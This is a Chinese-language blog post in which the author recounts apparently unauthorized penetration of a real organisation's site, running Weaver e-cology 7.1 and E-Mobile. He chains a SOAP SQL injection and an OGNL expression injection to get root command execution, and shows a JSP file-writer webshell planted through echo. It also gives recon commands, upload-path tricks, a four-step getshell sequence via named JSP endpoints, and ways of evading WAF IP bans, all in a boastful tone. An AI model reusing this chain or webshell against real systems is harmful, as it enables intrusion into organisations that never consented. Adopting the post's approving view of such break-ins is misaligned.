开篇
你迷信吗?我本不信,结果去年进去蹲了一段时间出来,各种霉,搞啥啥不顺,然后我妈居然非常神奇的去给我买了个红内裤....然后就有了今年的第一次成功渗透——泛微e-cology7.1 SOAP注入引发的血案.
某站,160多个子站,先把和主站同服的子站全部简单看了一遍,没发现什么能利用的,讨厌阿里云,如今日站,各种WAF,工具都不敢用,不用工具手工真的成功率太低,心塞。
申明下,本文是一边搞一边写的,所以跑题了请勿见怪。。谁叫我运气不顺呢。。
发现SOAP注入
好吧,不扯了,进入正题吧,子站看了没找到什么突破口,不过发现一个泛微协同商务系统,感觉有戏,各种百度这套CMS的0day..
然后找到了一个前辈曾公布的SOAP注入漏洞:泛微协同商务系统e-cology某处SQL注入(附验证中转脚本)
丢到sqlmap中跑了很久,IP换了N个,终于出来了。。。
通过注入点拿shell
最快捷的方法有2种:
1.JSP通常都是以administrator权限运行的,所以可以直接通过系统命令获取权限。
2.获取后台密码,登陆OA系统GETSHELL。(我先选择这个,因为第一次遇到这个程序,还么有折腾过,先试试通过后台getshell.)
通过查看以前的漏洞记录得知后台表名:HrmResourceManager
成功登陆,接下来就是getshell了,在后台折腾了老半天,然后又谷歌百度了老半天,然后突然醒悟,这个版本的后台没有大牛公布拿shell方法。。。我等菜鸟只能在别的地方找突破口了。
经测试发现,os-shell执行命令也不行,瞬间想到的2个思路,结果都不成功,这就心塞了哈。
总结一下,现在的情况就是,有数据裤,却没办法拿到shell,想了半天,发现好像唯一能做的就是翻裤,找密码,尝试登陆各种子站。。。我的天。。。Oracle的数据裤啊!!!,本来注入就跑的慢的一比。。。这个方法不可行。。。
尝试跑Oracle的密码,远程连接,发现连不上。。。。扫端口目测内网
柳暗花明
本是想着继续找找看看有没有泛微e-cology7.1 后台拿shell的文章,结果意外看到了这篇文章 泛微 E-Mobile Ognl 表达式注入
执行命令各种被防火墙拉IP,执行一次查询就得还一个IP,我也是醉了。。。
root权限的shell,因为各种被拉IP,想直接建个账号SSH上去的,结果发现是内网,那么现在的思路就是找到目标绝对路径,然后写shell。。。只能这样了,可是因为被拉IP的缘故,我总不能从 ls /
开始一个个的翻吧?容我百度百度看看有没有快捷的办法。。。。
1.失败命令:ps -ef | grep tomcat
find / -name tomcat
(后来发现根本不是tomcat...太年轻还有很长的路要走)
2. Linux 显示当前文件绝对路径命令:pwd && ls
成功得到路径:/usr/weaver/EMobile
Linux弱爆了,别笑,说的就是你..
echo 写shell:
echo -e "<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>" > /usr/weaver/EMobile/1.jsp
出现了这么个报错,这让我情何以堪。。。。本来以为是特殊字符的锅,然后尝试字符转义。。
换了一种方式,可以不再被拉IP了,心塞
Linux可以GETSHELL的方法:
echo 失败,没有报错,但是就是写入失败,并不是没有权限写入的问题,不知道是什么问题,
wget 同样失败,wget -v 正常,测试发现无法连接外网。
history > /root/1.txt 失败,执行报错
将执行的命令和结果写入到文件的思路也不行
Linux 日志以及 网站日志 框架日志等各种日志和缓存写shell 均失败
其他的命令基本还算正常,但是也进入了一个苦恼期,不熟悉Linux,一时之间不知道该用什么方法写shell了,只有慢慢百度了。
利用e-cology上传任意格式文件的马儿,然后重命名,但是经过各种折腾发现,找不到上传后的路径,也是醉了。。
成功getshell
经过各种折腾研究,然后幸运的让我找到了泛微e-cology7.1 getshell的方法....
第一步:访问https://www.mrwu.red/system/SystemSetEdit.jsp
填写你指定的绝对路径,反正我是找了半天没找到他文件的默认路径
第二步:找一个地方上传文件
我直接上传的jsp文件,然而上传后的文件却直接去掉了后缀,不过这都不是事。
第三步:访问https://www.mrwu.red/docs/DocBrowserMain.jsp?url=/page/maint/common/UserResourceBrowse.jsp?file=none
其实这里我一直想不通的是,image目录下有几个图片文件,不知道是怎么上传上去的。。。也是日了狗。
原来他去掉了后缀而已,难怪我find没搜到,我直接翻源码的时候有看到过类似的文件,瞬间总结出如下几个可能的泛微e-cology上传文件默认路径:
第四步:利用之前的任意执行将/page/resource/userfile/image/201804/I/1872262809
文件重命名
幸福总是来的如此突然,穿了红内裤果然就是不一样,日站吊吊哒。。
细心+耐心,往往结果不会那么不尽人意,我想如果继续折腾下去,或许还会发现别的getshell方法,不是吗?万事总有例外。
对于熟悉e-cology的人来说,或许觉得太简单了,然而我却搞了好几个通宵,各种百度谷歌翻源码折腾。。。毕竟不熟悉Linux,又是第一次接触这套程序...
至此本文结束,需要学的还有很多,欢迎大家畅所欲言给我指出不足以及分享你的思路哟。
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !
为什么不直接反弹shell呢
可以,真不错。我这没进后台呢表达式还执行不了命令,彻底gg
牛啊